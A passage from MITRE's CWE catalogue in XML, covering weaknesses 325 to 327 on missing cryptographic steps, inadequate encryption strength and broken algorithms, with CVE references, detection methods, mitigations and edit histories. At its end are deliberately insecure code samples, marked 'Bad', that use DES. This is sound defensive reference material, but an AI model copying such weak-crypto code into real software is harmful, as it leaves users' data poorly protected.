               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Using a Key Past its Expiration Date</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="325" Name="Missing Cryptographic Step" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="358" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>Developers sometimes omit "expensive" (resource-intensive) steps in order to improve performance, especially in devices with limited memory or slower CPUs. This step may be taken under a mistaken impression that the step is unnecessary for the cryptographic algorithm.
               </Note>
            </Introduction>
            <Introduction>
               <Phase>Requirements</Phase>
               <Note>This issue may happen when the requirements for the cryptographic algorithm are not clearly stated.
               </Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
            <Consequence>
               <Scope>Accountability</Scope>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1585</Reference>
               <Description>Missing challenge-response step allows authentication bypass using public key.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1585</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Cryptography</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Required Cryptographic Step</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Cryptographic Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Insecure Communications</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="68"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">Overlaps incomplete/missing security check.</Note>
            <Note Type="Relationship">Can be resultant.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Functional_Areas, Modes_of_Introduction, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Modes_of_Introduction, Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Missing Required Cryptographic Step</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="326" Name="Inadequate Encryption Strength" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.</Description>
         <Extended_Description>A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Read Application Data</Impact>
               <Note>An attacker may be able to decrypt the data using brute force attacks.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an encryption scheme that is currently considered to be strong by experts in the field.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1546</Reference>
               <Description>Weak encryption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1546</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2172</Reference>
               <Description>Weak encryption (chosen plaintext attack)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2172</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1682</Reference>
               <Description>Weak encryption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1682</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1697</Reference>
               <Description>Weak encryption produces same ciphertext from the same plaintext blocks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1697</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1739</Reference>
               <Description>Weak encryption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1739</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2281</Reference>
               <Description>Weak encryption scheme</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2281</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1872</Reference>
               <Description>Weak encryption (XOR)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1872</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1910</Reference>
               <Description>Weak encryption (reversible algorithm).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1910</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1946</Reference>
               <Description>Weak encryption (one-to-one mapping).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1946</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1975</Reference>
               <Description>Encryption error uses fixed salt, simplifying brute force / dictionary attacks (overlaps randomness).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1975</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Weak Encryption</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Cryptographic Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Insecure Communications</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="112"/>
            <Related_Attack_Pattern CAPEC_ID="192"/>
            <Related_Attack_Pattern CAPEC_ID="20"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 8, &#34;Cryptographic Foibles&#34; Page 259"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 21: Using the Wrong Cryptography.&#34; Page 315"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-08</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Clarified entry to focus on algorithms that do not have major weaknesses, but may not be strong enough for some purposes.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Maintenance_Notes, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-07-27">Weak Encryption</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="327" Name="Use of a Broken or Risky Cryptographic Algorithm" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product uses a broken or risky cryptographic algorithm or protocol.</Description>
         <Extended_Description>
	   <xhtml:p>Cryptographic algorithms are the methods by which data is scrambled to prevent observation or influence by unauthorized actors. Insecure cryptography can be exploited to expose sensitive information, modify data in unexpected ways, spoof identities of other users or devices, or other impacts.</xhtml:p>
           <xhtml:p>It is very difficult to produce a secure algorithm, and even high-profile algorithms by accomplished cryptographic experts have been broken. Well-known techniques exist to break or weaken various kinds of cryptography. Accordingly, there are a small number of well-understood and heavily studied algorithms that should be used by most products. Using a non-standard or known-insecure algorithm is dangerous because a determined adversary may be able to break the algorithm and compromise whatever data has been protected.</xhtml:p>
           <xhtml:p>Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.</xhtml:p>
	   <xhtml:p>For a number of reasons, this weakness is even more challenging to manage with hardware deployment of cryptographic algorithms as opposed to software implementation. First, if a flaw is discovered with hardware-implemented cryptography, the flaw cannot be fixed in most cases without a recall of the product, because hardware is not easily replaceable like software. Second, because the hardware product is expected to work for years, the adversary's computing power will only increase over time.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="311" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
           <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	   <Language Name="Verilog" Prevalence="Undetermined"/>
           <Language Name="VHDL" Prevalence="Undetermined"/>
           <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
	   <Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>With hardware, the Architecture or Design Phase might start with compliant cryptography, but it is replaced with a non-compliant crypto during the later Implementation phase due to implementation constraints (e.g., not enough entropy to make it function properly, or not enough silicon real estate available to implement). Or, in rare cases (especially for long projects that span over years), the Architecture specifications might start with cryptography that was originally compliant at the time the Architectural specs were written, but over the time it became non-compliant due to progress made in attacking the crypto.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.</Note>
            </Consequence>
            <Consequence>
               <Scope>Accountability</Scope>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Analysis</Method>
               <Description>Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-7">
               <Method>Manual Analysis</Method>
               <Description>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</Description>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary / Bytecode simple extractor - strings, ELF readers, etc.</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Man-in-the-middle attack tool</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                           <xhtml:li>Automated Monitored Execution</xhtml:li>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Configuration Checker</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-24">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.</xhtml:p>
                  <xhtml:p>For example, US government systems require FIPS 140-2 certification [REF-1192].</xhtml:p>
                  <xhtml:p>Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.</xhtml:p>
                  <xhtml:p>Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]</xhtml:p>
               </Description>
            </Mitigation>
        <Mitigation Mitigation_ID="MIT-52">
          <Phase>Architecture and Design</Phase>
          <Description>Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.</Description>
	  <Effectiveness>Defense in Depth</Effectiveness>
        </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-25">
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>These code examples use the Data Encryption Standard (DES).</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>EVP_des_ecb();</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Cipher des=Cipher.getInstance("DES...");<xhtml:br/>des.initEncrypt(key2);</xhtml:div>
               </Example_Code>
